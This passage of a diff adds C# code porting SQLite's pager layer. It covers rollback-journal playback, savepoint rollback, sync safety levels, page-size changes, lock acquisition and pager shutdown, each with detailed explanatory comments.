); + pPager.sectorSize = 512; + } + if ( pPager.sectorSize > MAX_SECTOR_SIZE ) + { + pPager.sectorSize = MAX_SECTOR_SIZE; + } + } + + + /* + ** Playback the journal and thus restore the database file to + ** the state it was in before we started making changes. + ** + ** The journal file format is as follows: + ** + ** (1) 8 byte prefix. A copy of aJournalMagic[]. + ** (2) 4 byte big-endian integer which is the number of valid page records + ** in the journal. If this value is 0xffffffff, then compute the + ** number of page records from the journal size. + ** (3) 4 byte big-endian integer which is the initial value for the + ** sanity checksum. + ** (4) 4 byte integer which is the number of pages to truncate the + ** database to during a rollback. + ** (5) 4 byte big-endian integer which is the sector size. The header + ** is this many bytes in size. + ** (6) 4 byte big-endian integer which is the page case. + ** (7) 4 byte integer which is the number of bytes in the master journal + ** name. The value may be zero (indicate that there is no master + ** journal.) + ** (8) N bytes of the master journal name. The name will be nul-terminated + ** and might be shorter than the value read from (5). If the first byte + ** of the name is \000 then there is no master journal. The master + ** journal name is stored in UTF-8. + ** (9) Zero or more pages instances, each as follows: + ** + 4 byte page number. + ** + pPager.pageSize bytes of data. + ** + 4 byte checksum + ** + ** When we speak of the journal header, we mean the first 8 items above. + ** Each entry in the journal is an instance of the 9th item. + ** + ** Call the value from the second bullet "nRec". nRec is the number of + ** valid page entries in the journal. In most cases, you can compute the + ** value of nRec from the size of the journal file. But if a power + ** failure occurred while the journal was being written, it could be the + ** case that the size of the journal file had already been increased but + ** the extra entries had not yet made it safely to disk. In such a case, + ** the value of nRec computed from the file size would be too large. For + ** that reason, we always use the nRec value in the header. + ** + ** If the nRec value is 0xffffffff it means that nRec should be computed + ** from the file size. This value is used when the user selects the + ** no-sync option for the journal. A power failure could lead to corruption + ** in this case. But for things like temporary table (which will be + ** deleted when the power is restored) we don't care. + ** + ** If the file opened as the journal file is not a well-formed + ** journal file then all pages up to the first corrupted page are rolled + ** back (or no pages if the journal header is corrupted). The journal file + ** is then deleted and SQLITE_OK returned, just as if no corruption had + ** been encountered. + ** + ** If an I/O or malloc() error occurs, the journal-file is not deleted + ** and an error code is returned. + ** + ** The isHot parameter indicates that we are trying to rollback a journal + ** that might be a hot journal. Or, it could be that the journal is + ** preserved because of JOURNALMODE_PERSIST or JOURNALMODE_TRUNCATE. + ** If the journal really is hot, reset the pager cache prior rolling + ** back any content. If the journal is merely persistent, no reset is + ** needed. + */ + static int pager_playback( Pager pPager, int isHot ) + { + sqlite3_vfs pVfs = pPager.pVfs; + int szJ = 0; /* Size of the journal file in bytes */ + u32 nRec = 0; /* Number of Records in the journal */ + u32 u; /* Unsigned loop counter */ + u32 mxPg = 0; /* Size of the original file in pages */ + int rc; /* Result code of a subroutine */ + int res = 1; /* Value returned by sqlite3OsAccess() */ + byte[] zMaster = null; /* Name of master journal file if any */ + int needPagerReset; /* True to reset page prior to first page rollback */ + + /* Figure out how many records are in the journal. Abort early if + ** the journal is empty. + */ + Debug.Assert( isOpen( pPager.jfd ) ); + rc = sqlite3OsFileSize( pPager.jfd, ref szJ ); + if ( rc != SQLITE_OK || szJ == 0 ) + { + goto end_playback; + } + + /* Read the master journal name from the journal, if it is present. + ** If a master journal file name is specified, but the file is not + ** present on disk, then the journal is not hot and does not need to be + ** played back. + ** + ** TODO: Technically the following is an error because it assumes that + ** buffer Pager.pTmpSpace is (mxPathname+1) bytes or larger. i.e. that + ** (pPager.pageSize >= pPager.pVfs->mxPathname+1). Using os_unix.c, + ** mxPathname is 512, which is the same as the minimum allowable value + ** for pageSize. + */ + zMaster = new byte[pPager.pVfs.mxPathname + 1];// pPager.pTmpSpace ); + rc = readMasterJournal( pPager.jfd, zMaster, (u32)pPager.pVfs.mxPathname + 1 ); + if ( rc == SQLITE_OK && zMaster[0] != 0 ) + { + rc = sqlite3OsAccess( pVfs, Encoding.UTF8.GetString( zMaster ), SQLITE_ACCESS_EXISTS, ref res ); + } zMaster = null; + if ( rc != SQLITE_OK || res == 0 ) + { + goto end_playback; + } + pPager.journalOff = 0; + needPagerReset = isHot; + + /* This loop terminates either when a readJournalHdr() or + ** pager_playback_one_page() call returns SQLITE_DONE or an IO error + ** occurs. + */ + while ( true ) + { + int isUnsync = 0; + + /* Read the next journal header from the journal file. If there are + ** not enough bytes left in the journal file for a complete header, or + ** it is corrupted, then a process must of failed while writing it. + ** This indicates nothing more needs to be rolled back. + */ + rc = readJournalHdr( pPager, isHot, szJ, ref nRec, ref mxPg ); + if ( rc != SQLITE_OK ) + { + if ( rc == SQLITE_DONE ) + { + rc = SQLITE_OK; + } + goto end_playback; + } + + /* If nRec is 0xffffffff, then this journal was created by a process + ** working in no-sync mode. This means that the rest of the journal + ** file consists of pages, there are no more journal headers. Compute + ** the value of nRec based on this assumption. + */ + if ( nRec == 0xffffffff ) + { + Debug.Assert( pPager.journalOff == JOURNAL_HDR_SZ( pPager ) ); + nRec = (u32)( ( szJ - JOURNAL_HDR_SZ( pPager ) ) / JOURNAL_PG_SZ( pPager ) ); + } + + /* If nRec is 0 and this rollback is of a transaction created by this + ** process and if this is the final header in the journal, then it means + ** that this part of the journal was being filled but has not yet been + ** synced to disk. Compute the number of pages based on the remaining + ** size of the file. + ** + ** The third term of the test was added to fix ticket #2565. + ** When rolling back a hot journal, nRec==0 always means that the next + ** chunk of the journal contains zero pages to be rolled back. But + ** when doing a ROLLBACK and the nRec==0 chunk is the last chunk in + ** the journal, it means that the journal might contain additional + ** pages that need to be rolled back and that the number of pages + ** should be computed based on the journal file size. + */ + if ( nRec == 0 && 0 == isHot && + pPager.journalHdr + JOURNAL_HDR_SZ( pPager ) == pPager.journalOff ) + { + nRec = (u32)( ( szJ - pPager.journalOff ) / JOURNAL_PG_SZ( pPager ) ); + isUnsync = 1; + } + + /* If this is the first header read from the journal, truncate the + ** database file back to its original size. + */ + if ( pPager.journalOff == JOURNAL_HDR_SZ( pPager ) ) + { + rc = pager_truncate( pPager, mxPg ); + if ( rc != SQLITE_OK ) + { + goto end_playback; + } + pPager.dbSize = mxPg; + } + + /* Copy original pages out of the journal and back into the + ** database file and/or page cache. + */ + for ( u = 0 ; u < nRec ; u++ ) + { + if ( needPagerReset != 0 ) + { + pager_reset( pPager ); + needPagerReset = 0; + } + rc = pager_playback_one_page( pPager, 1, isUnsync, ref pPager.journalOff, 0, null ); + if ( rc != SQLITE_OK ) + { + if ( rc == SQLITE_DONE ) + { + rc = SQLITE_OK; + pPager.journalOff = szJ; + break; + } + else + { + /* If we are unable to rollback, quit and return the error + ** code. This will cause the pager to enter the error state + ** so that no further harm will be done. Perhaps the next + ** process to come along will be able to rollback the database. + */ + goto end_playback; + } + } + } + } + /*NOTREACHED*/ + Debugger.Break(); + +end_playback: + /* Following a rollback, the database file should be back in its original + ** state prior to the start of the transaction, so invoke the + ** SQLITE_FCNTL_DB_UNCHANGED file-control method to disable the + ** assertion that the transaction counter was modified. + */ + int iDummy = 0; + Debug.Assert( + pPager.fd.pMethods == null || + sqlite3OsFileControl( pPager.fd, SQLITE_FCNTL_DB_UNCHANGED, ref iDummy ) >= SQLITE_OK + ); + + /* If this playback is happening automatically as a result of an IO or + ** malloc error that occurred after the change-counter was updated but + ** before the transaction was committed, then the change-counter + ** modification may just have been reverted. If this happens in exclusive + ** mode, then subsequent transactions performed by the connection will not + ** update the change-counter at all. This may lead to cache inconsistency + ** problems for other processes at some point in the future. So, just + ** in case this has happened, clear the changeCountDone flag now. + */ + pPager.changeCountDone = pPager.tempFile; + + if ( rc == SQLITE_OK ) + { + zMaster = new byte[pPager.pVfs.mxPathname + 1];//pPager.pTmpSpace ); + rc = readMasterJournal( pPager.jfd, zMaster, (u32)pPager.pVfs.mxPathname + 1 ); + testcase( rc != SQLITE_OK ); + } + if ( rc == SQLITE_OK ) + { + rc = pager_end_transaction( pPager, zMaster[0] != '\0' ? 1 : 0 ); + testcase( rc != SQLITE_OK ); + } + if ( rc == SQLITE_OK && zMaster[0] != '\0' && res != 0 ) + { + /* If there was a master journal and this routine will return success, + ** see if it is possible to delete the master journal. + */ + rc = pager_delmaster( pPager, Encoding.UTF8.GetString( zMaster ) ); + testcase( rc != SQLITE_OK ); + } + + /* The Pager.sectorSize variable may have been updated while rolling + ** back a journal created by a process with a different sector size + ** value. Reset it to the correct value for this process. + */ + setSectorSize( pPager ); + return rc; + } + + /* + ** Playback savepoint pSavepoint. Or, if pSavepoint==NULL, then playback + ** the entire master journal file. The case pSavepoint==NULL occurs when + ** a ROLLBACK TO command is invoked on a SAVEPOINT that is a transaction + ** savepoint. + ** + ** When pSavepoint is not NULL (meaning a non-transaction savepoint is + ** being rolled back), then the rollback consists of up to three stages, + ** performed in the order specified: + ** + ** * Pages are played back from the main journal starting at byte + ** offset PagerSavepoint.iOffset and continuing to + ** PagerSavepoint.iHdrOffset, or to the end of the main journal + ** file if PagerSavepoint.iHdrOffset is zero. + ** + ** * If PagerSavepoint.iHdrOffset is not zero, then pages are played + ** back starting from the journal header immediately following + ** PagerSavepoint.iHdrOffset to the end of the main journal file. + ** + ** * Pages are then played back from the sub-journal file, starting + ** with the PagerSavepoint.iSubRec and continuing to the end of + ** the journal file. + ** + ** Throughout the rollback process, each time a page is rolled back, the + ** corresponding bit is set in a bitvec structure (variable pDone in the + ** implementation below). This is used to ensure that a page is only + ** rolled back the first time it is encountered in either journal. + ** + ** If pSavepoint is NULL, then pages are only played back from the main + ** journal file. There is no need for a bitvec in this case. + ** + ** In either case, before playback commences the Pager.dbSize variable + ** is reset to the value that it held at the start of the savepoint + ** (or transaction). No page with a page-number greater than this value + ** is played back. If one is encountered it is simply skipped. + */ + static int pagerPlaybackSavepoint( Pager pPager, PagerSavepoint pSavepoint ) + { + i64 szJ; /* Effective size of the main journal */ + i64 iHdrOff; /* End of first segment of main-journal records */ + int rc = SQLITE_OK; /* Return code */ + Bitvec pDone = null; /* Bitvec to ensure pages played back only once */ + + Debug.Assert( pPager.state >= PAGER_SHARED ); + /* Allocate a bitvec to use to store the set of pages rolled back */ + if ( pSavepoint != null ) + { + pDone = sqlite3BitvecCreate( pSavepoint.nOrig ); + if ( null == pDone ) + { + return SQLITE_NOMEM; + } + } + + /* Set the database size back to the value it was before the savepoint + ** being reverted was opened. + */ + pPager.dbSize = pSavepoint != null ? pSavepoint.nOrig : pPager.dbOrigSize; + + /* Use pPager.journalOff as the effective size of the main rollback + ** journal. The actual file might be larger than this in + ** PAGER_JOURNALMODE_TRUNCATE or PAGER_JOURNALMODE_PERSIST. But anything + ** past pPager.journalOff is off-limits to us. + */ + szJ = pPager.journalOff; + + /* Begin by rolling back records from the main journal starting at + ** PagerSavepoint.iOffset and continuing to the next journal header. + ** There might be records in the main journal that have a page number + ** greater than the current database size (pPager.dbSize) but those + ** will be skipped automatically. Pages are added to pDone as they + ** are played back. + */ + if ( pSavepoint != null ) + { + iHdrOff = pSavepoint.iHdrOffset != 0 ? pSavepoint.iHdrOffset : szJ; + pPager.journalOff = pSavepoint.iOffset; + while ( rc == SQLITE_OK && pPager.journalOff < iHdrOff ) + { + rc = pager_playback_one_page( pPager, 1, 0, ref pPager.journalOff, 1, pDone ); + } + Debug.Assert( rc != SQLITE_DONE ); + } + else + { + pPager.journalOff = 0; + } + + /* Continue rolling back records out of the main journal starting at + ** the first journal header seen and continuing until the effective end + ** of the main journal file. Continue to skip out-of-range pages and + ** continue adding pages rolled back to pDone. + */ + while ( rc == SQLITE_OK && pPager.journalOff < szJ ) + { + u32 ii; /* Loop counter */ + u32 nJRec = 0; /* Number of Journal Records */ + u32 dummy = 0; + rc = readJournalHdr( pPager, 0, (int)szJ, ref nJRec, ref dummy ); + Debug.Assert( rc != SQLITE_DONE ); + + /* + ** The "pPager.journalHdr+JOURNAL_HDR_SZ(pPager)==pPager.journalOff" + ** test is related to ticket #2565. See the discussion in the + ** pager_playback() function for additional information. + */ + if ( nJRec == 0 + && pPager.journalHdr + JOURNAL_HDR_SZ( pPager ) == pPager.journalOff + ) + { + nJRec = (u32)( ( szJ - pPager.journalOff ) / JOURNAL_PG_SZ( pPager ) ); + } + for ( ii = 0 ; rc == SQLITE_OK && ii < nJRec && pPager.journalOff < szJ ; ii++ ) + { + rc = pager_playback_one_page( pPager, 1, 0, ref pPager.journalOff, 1, pDone ); + } + Debug.Assert( rc != SQLITE_DONE ); + } + Debug.Assert( rc != SQLITE_OK || pPager.journalOff == szJ ); + + /* Finally, rollback pages from the sub-journal. Page that were + ** previously rolled back out of the main journal (and are hence in pDone) + ** will be skipped. Out-of-range pages are also skipped. + */ + if ( pSavepoint != null ) + { + u32 ii; /* Loop counter */ + i64 offset = pSavepoint.iSubRec * ( 4 + pPager.pageSize ); + for ( ii = pSavepoint.iSubRec ; rc == SQLITE_OK && ii < pPager.nSubRec ; ii++ ) + { + Debug.Assert( offset == ii * ( 4 + pPager.pageSize ) ); + rc = pager_playback_one_page( pPager, 0, 0, ref offset, 1, pDone ); + } + Debug.Assert( rc != SQLITE_DONE ); + } + + sqlite3BitvecDestroy( ref pDone ); + if ( rc == SQLITE_OK ) + { + pPager.journalOff = (int)szJ; + } + return rc; + } + + /* + ** Change the maximum number of in-memory pages that are allowed. + */ + static void sqlite3PagerSetCachesize( Pager pPager, int mxPage ) + { + sqlite3PcacheSetCachesize( pPager.pPCache, mxPage ); + } + + /* + ** Adjust the robustness of the database to damage due to OS crashes + ** or power failures by changing the number of syncs()s when writing + ** the rollback journal. There are three levels: + ** + ** OFF sqlite3OsSync() is never called. This is the default + ** for temporary and transient files. + ** + ** NORMAL The journal is synced once before writes begin on the + ** database. This is normally adequate protection, but + ** it is theoretically possible, though very unlikely, + ** that an inopertune power failure could leave the journal + ** in a state which would cause damage to the database + ** when it is rolled back. + ** + ** FULL The journal is synced twice before writes begin on the + ** database (with some additional information - the nRec field + ** of the journal header - being written in between the two + ** syncs). If we assume that writing a + ** single disk sector is atomic, then this mode provides + ** assurance that the journal will not be corrupted to the + ** point of causing damage to the database during rollback. + ** + ** Numeric values associated with these states are OFF==1, NORMAL=2, + ** and FULL=3. + */ +#if !SQLITE_OMIT_PAGER_PRAGMAS + static void sqlite3PagerSetSafetyLevel( Pager pPager, int level, bool bFullFsync ) + { + pPager.noSync = ( level == 1 || pPager.tempFile ); + pPager.fullSync = ( level == 3 && !pPager.tempFile ); + pPager.sync_flags = bFullFsync ? SQLITE_SYNC_FULL : SQLITE_SYNC_NORMAL; + if ( pPager.noSync ) pPager.needSync = false; + } +#endif + + /* +** The following global variable is incremented whenever the library +** attempts to open a temporary file. This information is used for +** testing and analysis only. +*/ +#if SQLITE_TEST + //static int sqlite3_opentemp_count = 0; +#endif + + /* +** Open a temporary file. +** +** Write the file descriptor into *pFile. Return SQLITE_OK on success +** or some other error code if we fail. The OS will automatically +** delete the temporary file when it is closed. +** +** The flags passed to the VFS layer xOpen() call are those specified +** by parameter vfsFlags ORed with the following: +** +** SQLITE_OPEN_READWRITE +** SQLITE_OPEN_CREATE +** SQLITE_OPEN_EXCLUSIVE +** SQLITE_OPEN_DELETEONCLOSE +*/ + static int pagerOpentemp( + Pager pPager, /* The pager object */ + ref sqlite3_file pFile, /* Write the file descriptor here */ + int vfsFlags /* Flags passed through to the VFS */ + ) + { + int rc; /* Return code */ + +#if SQLITE_TEST + sqlite3_opentemp_count.iValue++; /* Used for testing and analysis only */ +#endif + + vfsFlags |= SQLITE_OPEN_READWRITE | SQLITE_OPEN_CREATE | + SQLITE_OPEN_EXCLUSIVE | SQLITE_OPEN_DELETEONCLOSE; + int dummy = 0; + rc = sqlite3OsOpen( pPager.pVfs, null, pFile, vfsFlags, ref dummy ); + Debug.Assert( rc != SQLITE_OK || isOpen( pFile ) ); + return rc; + } + + /* + ** Set the busy handler function. + ** + ** The pager invokes the busy-handler if sqlite3OsLock() returns + ** SQLITE_BUSY when trying to upgrade from no-lock to a SHARED lock, + ** or when trying to upgrade from a RESERVED lock to an EXCLUSIVE + ** lock. It does *not* invoke the busy handler when upgrading from + ** SHARED to RESERVED, or when upgrading from SHARED to EXCLUSIVE + ** (which occurs during hot-journal rollback). Summary: + ** + ** Transition | Invokes xBusyHandler + ** -------------------------------------------------------- + ** NO_LOCK -> SHARED_LOCK | Yes + ** SHARED_LOCK -> RESERVED_LOCK | No + ** SHARED_LOCK -> EXCLUSIVE_LOCK | No + ** RESERVED_LOCK -> EXCLUSIVE_LOCK | Yes + ** + ** If the busy-handler callback returns non-zero, the lock is + ** retried. If it returns zero, then the SQLITE_BUSY error is + ** returned to the caller of the pager API function. + */ + + static void sqlite3PagerSetBusyhandler( + Pager pPager, /* Pager object */ + dxBusyHandler xBusyHandler, /* Pointer to busy-handler function */ + //int (*xBusyHandler)(void *), + object pBusyHandlerArg /* Argument to pass to xBusyHandler */ + ) + { + pPager.xBusyHandler = xBusyHandler; + pPager.pBusyHandlerArg = pBusyHandlerArg; + } + + /* + ** Report the current page size and number of reserved bytes back + ** to the codec. + */ +#if SQLITE_HAS_CODEC +static void pagerReportSize(Pager *pPager){ +if( pPager->xCodecSizeChng ){ +pPager->xCodecSizeChng(pPager->pCodec, pPager->pageSize, +(int)pPager->nReserve); +} +} +#else + //# define pagerReportSize(X) /* No-op if we do not support a codec */ + static void pagerReportSize( Pager pPager ) { } +#endif + + /* +** Change the page size used by the Pager object. The new page size +** is passed in *pPageSize. +** +** If the pager is in the error state when this function is called, it +** is a no-op. The value returned is the error state error code (i.e. +** one of SQLITE_IOERR, SQLITE_CORRUPT or SQLITE_FULL). +** +** Otherwise, if all of the following are true: +** +** * the new page size (value of *pPageSize) is valid (a power +** of two between 512 and SQLITE_MAX_PAGE_SIZE, inclusive), and +** +** * there are no outstanding page references, and +** +** * the database is either not an in-memory database or it is +** an in-memory database that currently consists of zero pages. +** +** then the pager object page size is set to *pPageSize. +** +** If the page size is changed, then this function uses sqlite3PagerMalloc() +** to obtain a new Pager.pTmpSpace buffer. If this allocation attempt +** fails, SQLITE_NOMEM is returned and the page size remains unchanged. +** In all other cases, SQLITE_OK is returned. +** +** If the page size is not changed, either because one of the enumerated +** conditions above is not true, the pager was in error state when this +** function was called, or because the memory allocation attempt failed, +** then *pPageSize is set to the old, retained page size before returning. +*/ + static int sqlite3PagerSetPagesize( Pager pPager, ref u16 pPageSize, int nReserve ) + { + int rc = pPager.errCode; + if ( rc == SQLITE_OK ) + { + int pageSize = pPageSize; + Debug.Assert( pageSize == 0 || ( pageSize >= 512 && pageSize <= SQLITE_MAX_PAGE_SIZE ) ); + if ( ( pPager.memDb == 0 || pPager.dbSize == 0 ) + && sqlite3PcacheRefCount( pPager.pPCache ) == 0 + && pageSize !=0 && pageSize != pPager.pageSize + ) + { + //PgHdr pNew = sqlite3PageMalloc( pageSize ); + //if ( pNew == null ) + //{ + // rc = SQLITE_NOMEM; + //} + //else + { + pager_reset( pPager ); + pPager.pageSize = pageSize; + //sqlite3PageFree( ref pPager.pTmpSpace ); + pPager.pTmpSpace = new byte[pageSize];// pNew; + sqlite3PcacheSetPageSize( pPager.pPCache, pageSize ); + } + } + pPageSize = (u16)pPager.pageSize; + if ( nReserve < 0 ) nReserve = pPager.nReserve; + Debug.Assert( nReserve >= 0 && nReserve < 1000 ); + pPager.nReserve = (i16)nReserve; + pagerReportSize( pPager ); + } + return rc; + } + + /* + ** Return a pointer to the "temporary page" buffer held internally + ** by the pager. This is a buffer that is big enough to hold the + ** entire content of a database page. This buffer is used internally + ** during rollback and will be overwritten whenever a rollback + ** occurs. But other modules are free to use it too, as long as + ** no rollbacks are happening. + */ + static byte[] sqlite3PagerTempSpace( Pager pPager ) + { + return pPager.pTmpSpace; + } + + /* + ** Attempt to set the maximum database page count if mxPage is positive. + ** Make no changes if mxPage is zero or negative. And never reduce the + ** maximum page count below the current size of the database. + ** + ** Regardless of mxPage, return the current maximum page count. + */ + static long sqlite3PagerMaxPageCount( Pager pPager, int mxPage ) + { + if ( mxPage > 0 ) + { + pPager.mxPgno = (Pgno)mxPage; + } + int idummy = 0; + sqlite3PagerPagecount( pPager, ref idummy ); + return pPager.mxPgno; + } + + /* + ** The following set of routines are used to disable the simulated + ** I/O error mechanism. These routines are used to avoid simulated + ** errors in places where we do not care about errors. + ** + ** Unless -DSQLITE_TEST=1 is used, these routines are all no-ops + ** and generate no code. + */ +#if SQLITE_TEST + //extern int sqlite3_io_error_pending; + //extern int sqlite3_io_error_hit; + static int saved_cnt; + static void disable_simulated_io_errors() + { + saved_cnt = sqlite3_io_error_pending.iValue; + sqlite3_io_error_pending.iValue = -1; + } + static void enable_simulated_io_errors() + { + sqlite3_io_error_pending.iValue = saved_cnt; + } +#else +//# define disable_simulated_io_errors() +//# define enable_simulated_io_errors() +#endif + + /* +** Read the first N bytes from the beginning of the file into memory +** that pDest points to. +** +** If the pager was opened on a transient file (zFilename==""), or +** opened on a file less than N bytes in size, the output buffer is +** zeroed and SQLITE_OK returned. The rationale for this is that this +** function is used to read database headers, and a new transient or +** zero sized database has a header than consists entirely of zeroes. +** +** If any IO error apart from SQLITE_IOERR_SHORT_READ is encountered, +** the error code is returned to the caller and the contents of the +** output buffer undefined. +*/ + static int sqlite3PagerReadFileheader( Pager pPager, int N, byte[] pDest ) + { + int rc = SQLITE_OK; + Array.Clear( pDest, 0, N ); //memset(pDest, 0, N); + Debug.Assert( isOpen( pPager.fd ) || pPager.tempFile ); + if ( isOpen( pPager.fd ) ) + { + IOTRACE( "DBHDR %p 0 %d\n", pPager, N ); + rc = sqlite3OsRead( pPager.fd, pDest, N, 0 ); + if ( rc == SQLITE_IOERR_SHORT_READ ) + { + rc = SQLITE_OK; + } + } + return rc; + } + + /* + ** Return the total number of pages in the database file associated + ** with pPager. Normally, this is calculated as (/). + ** However, if the file is between 1 and bytes in size, then + ** this is considered a 1 page file. + ** + ** If the pager is in error state when this function is called, then the + ** error state error code is returned and *pnPage left unchanged. Or, + ** if the file system has to be queried for the size of the file and + ** the query attempt returns an IO error, the IO error code is returned + ** and *pnPage is left unchanged. + ** + ** Otherwise, if everything is successful, then SQLITE_OK is returned + ** and *pnPage is set to the number of pages in the database. + */ + static int sqlite3PagerPagecount( Pager pPager, ref int pnPage ) + { + int nPage; /* Value to return via *pnPage */ + + /* If the pager is already in the error state, return the error code. */ + if ( pPager.errCode != 0 ) + { + return pPager.errCode; + } + + /* Determine the number of pages in the file. Store this in nPage. */ + if ( pPager.dbSizeValid ) + { + nPage = (int)pPager.dbSize; + } + else + { + int rc; /* Error returned by OsFileSize() */ + int n = 0; /* File size in bytes returned by OsFileSize() */ + + Debug.Assert( isOpen( pPager.fd ) || pPager.tempFile ); + if ( isOpen( pPager.fd ) && ( 0 != ( rc = sqlite3OsFileSize( pPager.fd, ref n ) ) ) ) + { + pager_error( pPager, rc ); + return rc; + } + if ( n > 0 && n < pPager.pageSize ) + { + nPage = 1; + } + else + { + nPage = n / pPager.pageSize; + } + if ( pPager.state != PAGER_UNLOCK ) + { + pPager.dbSize = (Pgno)nPage; + pPager.dbFileSize = (Pgno)nPage; + pPager.dbSizeValid = true; + } + } + + /* If the current number of pages in the file is greater than the + ** configured maximum pager number, increase the allowed limit so + ** that the file can be read. + */ + if ( nPage > pPager.mxPgno ) + { + pPager.mxPgno = (Pgno)nPage; + } + + /* Set the output variable and return SQLITE_OK */ + // if( pnPage ){ + pnPage = nPage; + //} + return SQLITE_OK; + } + + /* + ** Try to obtain a lock of type locktype on the database file. If + ** a similar or greater lock is already held, this function is a no-op + ** (returning SQLITE_OK immediately). + ** + ** Otherwise, attempt to obtain the lock using sqlite3OsLock(). Invoke + ** the busy callback if the lock is currently not available. Repeat + ** until the busy callback returns false or until the attempt to + ** obtain the lock succeeds. + ** + ** Return SQLITE_OK on success and an error code if we cannot obtain + ** the lock. If the lock is obtained successfully, set the Pager.state + ** variable to locktype before returning. + */ + static int pager_wait_on_lock( Pager pPager, int locktype ) + { + int rc; /* Return code */ + + /* The OS lock values must be the same as the Pager lock values */ + Debug.Assert( PAGER_SHARED == SHARED_LOCK ); + Debug.Assert( PAGER_RESERVED == RESERVED_LOCK ); + Debug.Assert( PAGER_EXCLUSIVE == EXCLUSIVE_LOCK ); + + /* If the file is currently unlocked then the size must be unknown */ + Debug.Assert( pPager.state >= PAGER_SHARED || pPager.dbSizeValid == false ); + + /* Check that this is either a no-op (because the requested lock is + ** already held, or one of the transistions that the busy-handler + ** may be invoked during, according to the comment above + ** sqlite3PagerSetBusyhandler(). + */ + Debug.Assert( ( pPager.state >= locktype ) + || ( pPager.state == PAGER_UNLOCK && locktype == PAGER_SHARED ) + || ( pPager.state == PAGER_RESERVED && locktype == PAGER_EXCLUSIVE ) + ); + + if ( pPager.state >= locktype ) + { + rc = SQLITE_OK; + } + else + { + do + { + rc = sqlite3OsLock( pPager.fd, locktype ); + } while ( rc == SQLITE_BUSY && pPager.xBusyHandler( pPager.pBusyHandlerArg ) != 0 ); + if ( rc == SQLITE_OK ) + { + pPager.state = (u8)locktype; + IOTRACE( "LOCK %p %d\n", pPager, locktype ); + } + } + return rc; + } + +/* +** Function assertTruncateConstraint(pPager) checks that one of the +** following is true for all dirty pages currently in the page-cache: +** +** a) The page number is less than or equal to the size of the +** current database image, in pages, OR +** +** b) if the page content were written at this time, it would not +** be necessary to write the current content out to the sub-journal +** (as determined by function subjRequiresPage()). +** +** If the condition asserted by this function were not true, and the +** dirty page were to be discarded from the cache via the pagerStress() +** routine, pagerStress() would not write the current page content to +** the database file. If a savepoint transaction were rolled back after +** this happened, the correct behaviour would be to restore the current +** content of the page. However, since this content is not present in either +** the database file or the portion of the rollback journal and +** sub-journal rolled back the content could not be restored and the +** database image would become corrupt. It is therefore fortunate that +** this circumstance cannot arise. +*/ +#if SQLITE_DEBUG + static void assertTruncateConstraintCb( PgHdr pPg ) + { + Debug.Assert( ( pPg.flags & PGHDR_DIRTY ) != 0 ); + Debug.Assert( !subjRequiresPage( pPg ) || pPg.pgno <= pPg.pPager.dbSize ); + } + static void assertTruncateConstraint( Pager pPager ) + { + sqlite3PcacheIterateDirty( pPager.pPCache, assertTruncateConstraintCb ); + } +#else +//# define assertTruncateConstraint(pPager) + static void assertTruncateConstraintCb(PgHdr pPg) { } + static void assertTruncateConstraint(Pager pPager) { } +#endif + +/* + ** Truncate the in-memory database file image to nPage pages. This + ** function does not actually modify the database file on disk. It + ** just sets the internal state of the pager object so that the + ** truncation will be done when the current transaction is committed. + */ + static void sqlite3PagerTruncateImage( Pager pPager, u32 nPage ) + { + Debug.Assert( pPager.dbSizeValid ); + Debug.Assert( pPager.dbSize >= nPage ); + Debug.Assert( pPager.state >= PAGER_RESERVED ); + pPager.dbSize = nPage; + assertTruncateConstraint( pPager ); + } + + /* + ** Shutdown the page cache. Free all memory and close all files. + ** + ** If a transaction was in progress when this routine is called, that + ** transaction is rolled back. All outstanding pages are invalidated + ** and their memory is freed. Any attempt to use a page associated + ** with this page cache after this function returns will likely + ** result in a coredump. + ** + ** This function always succeeds. If a transaction is active an attempt + ** is made to roll it back. If an error occurs during the rollback + ** a hot journal may be left in the filesystem but no error is returned + ** to the caller. + */ + static int sqlite3PagerClose( Pager pPager ) + { +#if SQLITE_TEST + disable_simulated_io_errors(); +#endif + sqlite3BeginBenignMalloc(); + pPager.errCode = 0; + pPager.exclusiveMode = false; + pager_reset( pPager ); + if ( +#if SQLITE_OMIT_MEMORYDB +1==MEMDB +#else + 1 == pPager.memDb +#endif + ) + { + pager_unlock( pPager ); + } + else + { + /* Set Pager.journalHdr to -1 for the benefit of the pager_playback() + ** call which may be made from within pagerUnlockAndRollback(). If it + ** is not -1, then the unsynced portion of an open journal file may + ** be played back into the database. If a power failure occurs while + ** this is happening, the database may become corrupt. + */ + pPager.journalHdr = -1; + pagerUnlockAndRollback( pPager ); + } + sqlite3EndBenignMalloc(); +#if SQLITE_TEST + enable_simulated_io_errors(); +#endif + + PAGERTRACE( "CLOSE %d\n", PAGERID( pPager ) ); + IOTRACE( "CLOSE %p\n", pPager ); + sqlite3OsClose( pPager.fd ); + //sqlite3_free( ref pPager.pTmpSpace ); + sqlite3PcacheClose( pPager.pPCache ); + +#if SQLITE_HAS_CODEC +if( pPager->xCodecFree ) pPager->xCodecFree(pPager->pCodec); +#endif + Debug.Assert( null == pPager.aSavepoint && !pPager.pInJournal ); + Debug.Assert( !isOpen( pPager.jfd ) && !isOpen( pPager.sjfd ) ); + + //sqlite3_free( ref pPager ); + return SQLITE_OK; + } + +#if !NDEBUG || SQLITE_TEST + /* +** Return the page number for page pPg. +*/ + static Pgno sqlite3PagerPagenumber( DbPage pPg ) + { + return pPg.pgno; + } +#else +static Pgno sqlite3PagerPagenumber( DbPage pPg ) { return pPg.pgno; } +#endif + + + /* +** Increment the reference count for page pPg. +*/ + static void sqlite3PagerRef( DbPage pPg ) + { + sqlite3PcacheRef( pPg ); + } + + /* + ** Sync the journal. In other words, make sure all the pages that have + ** been written to the journal have actually reached the surface of the + ** disk and can be restored in the event of a hot-journal rollback. + ** + ** If the Pager.needSync flag is not set, then this function is a + ** no-op. Otherwise, the actions required depend on the journal-mode + ** and the device characteristics of the the file-system, as follows: + ** + ** * If the journal file is an in-memory journal file, no action need + ** be taken. + ** + ** * Otherwise, if the device does not support the SAFE_APPEND property, + ** then the nRec field of the most recently written journal header + ** is updated to contain the number of journal records that have + ** been written following it. If the pager is operating in full-sync + ** mode, then the journal file is synced before this field is updated. + ** + ** * If the device does not support the SEQUENTIAL property, then + ** journal file is synced. + ** + ** Or, in pseudo-code: + ** + ** if( NOT ){ + ** if( NOT SAFE_APPEND ){ + ** if( ) xSync(); + ** + ** } + ** if( NOT SEQUENTIAL ) xSync(); + ** } + ** + ** The Pager.needSync flag is never be set for temporary files, or any + ** file operating in no-sync mode (Pager.noSync set to non-zero). + ** + ** If successful, this routine clears the PGHDR_NEED_SYNC flag of every + 